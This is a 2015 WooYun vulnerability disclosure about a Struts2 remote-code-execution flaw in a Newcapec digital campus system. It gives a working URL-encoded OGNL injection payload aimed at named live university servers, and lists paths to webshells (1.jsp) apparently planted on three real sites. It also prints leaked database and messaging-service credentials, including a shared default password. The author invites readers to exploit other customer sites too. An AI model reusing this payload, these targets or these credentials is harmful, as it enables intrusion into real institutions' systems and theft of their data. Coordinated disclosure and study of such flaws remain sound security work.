当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094455

漏洞标题：某通用型系统可Getshell(默认数据库密码也一致)

相关厂商：新开普电子股份有限公司

漏洞作者： 黄口小儿

提交时间：2015-03-02 10:13

修复时间：2015-06-04 17:10

公开时间：2015-06-04 17:10

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-02： 细节已通知厂商并且等待厂商处理中
2015-03-06： 厂商已经确认，细节仅向厂商公开
2015-03-09： 细节向第三方安全合作伙伴开放
2015-04-30： 细节向核心白帽子及相关领域专家公开
2015-05-10： 细节向普通白帽子公开
2015-05-20： 细节向实习白帽子公开
2015-06-04： 细节向公众公开

简要描述：

某通用型系统可Getshell权限，获取到多站点服务器上数据库链接信息、财务密码信息等，以及站点权限执行！(默认数据库密码也一致)

详细说明：

漏洞为新开普电子股份有限公司所开发的数字化校园系统：

1.png


当然你可以看看这类系统代码随意构造，新开普官网有很多案例呢，也可以利用。

http://60.2.228.70:8081/szyx/zzfw/login.jsp
http://freshman.sctu.edu.cn:9900/szyx/zzfw/login.jsp
http://218.196.240.184:9900/szyx/zzfw/login.jsp


1.jpg


这类系统所存在的站点全部存在St2命令执行，可直接Getshell（更多站点可以看官网客户案例，在这里我就以这三站点演示）


http://freshman.sctu.edu.cn:9900/szyx/zzfw/article_listbyid.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

漏洞证明：

1.png


1.png


1.png


http://freshman.sctu.edu.cn:9900/szyx/1.jsp
http://60.2.228.70:8081/szyx/1.jsp
http://218.196.240.184:9900/szyx/1.jsp


DB链接信息同类站点的默认密码也是一样的
jdbc.url=jdbc:oracle:thin:@192.168.101.61:1521:szhxy
jdbc.driverclass=oracle.jdbc.driver.OracleDriver
jdbc.username=szyx
jdbc.password=szyx
msg.httpurl=http://192.168.0.204:8080/vas/vas/center/service.action
msg.password=xxjc
msg.command=mt
msg.username=xxjc

修复方案：

升级配置|其余修复你懂得。

版权声明：转载请注明来源 黄口小儿@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-03-06 17:09

厂商回复：

CNVD确认所述情况，已经由CNVD通过以往建立的处置渠道向相关单位通报。

最新状态：

暂无